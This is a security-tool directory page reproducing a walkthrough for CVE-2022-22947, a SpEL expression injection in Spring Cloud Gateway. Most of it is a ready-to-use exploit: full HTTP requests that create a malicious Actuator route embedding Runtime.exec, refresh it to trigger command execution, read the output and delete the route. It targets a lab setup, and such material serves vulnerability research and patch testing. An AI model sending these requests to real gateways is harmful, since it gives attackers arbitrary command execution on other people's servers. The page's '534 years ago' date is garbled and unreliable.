Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22947 | Kitploit
Tools/GitHubGitHub/greetdawn/cve-2022-22947
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingCommand and Control
GitHubgreetdawn/cve-2022-22947

CVE-2022-22947

View Repository
534 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-22947

Spring Cloud Gateway is an API gateway in Spring. Versions 3.1.0 and 3.0.6 (inclusive) and earlier have a SpEL expression injection vulnerability. If an attacker can access the Actuator API, they can exploit this vulnerability to execute arbitrary commands.

Vulnerability Environment

root@kitploit:~
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d

Vulnerability Exploitation

Send the following data packet to the routes interface:

root@kitploit:~
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

image-20220303145822027

Seeing the above data packet indicates the new route was created successfully.

Send the following data packet again to apply the just-added route, triggering SpEL expression execution:

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329


image-20220303150111513

Request the route just created to trigger malicious code:

root@kitploit:~
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


image-20220303150238309

Note: Delete the following route

root@kitploit:~
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


image-20220303150340287

Download Tool